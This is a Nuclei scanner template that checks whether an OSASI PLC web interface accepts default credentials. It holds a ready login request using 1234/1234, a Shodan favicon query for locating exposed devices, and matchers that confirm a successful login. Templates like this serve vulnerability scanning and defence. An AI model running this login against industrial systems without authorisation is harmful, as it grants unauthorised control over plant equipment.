osasi-default-login: OSASI PLC - Default Login

id: osasi-default-login

info:
  name: OSASI PLC - Default Login
  author: biero-el-corridor
  severity: high
  description: |
    Detected OSASI PLC web interface accessible with default credentials, potentially allowing unauthorized administrative access to industrial control systems.
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-268676052
  tags: osasi,plc,default-login,vuln

http:
  - raw:
      - |
        POST /users/login HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}/users/login

        _method=POST&data[User][loginid]=1234&data[User][passwd]=1234

    matchers:
      - type: dsl
        dsl:
          - "contains(location, '/genbas/')"
          - "contains(set_cookie, 'CAKEPHP=')"
        condition: and
# digest: 490a0046304402204cd90c6506630b2e1aed9b67628ec6fe83b0b1a37fdb902e1b3c650edf47a810022034adfc7edad7223541f6ab95a77f4fa8b7d1b77ead17855e5c676ab43d996ea3:922c64590222798bb761d5b6d8e72950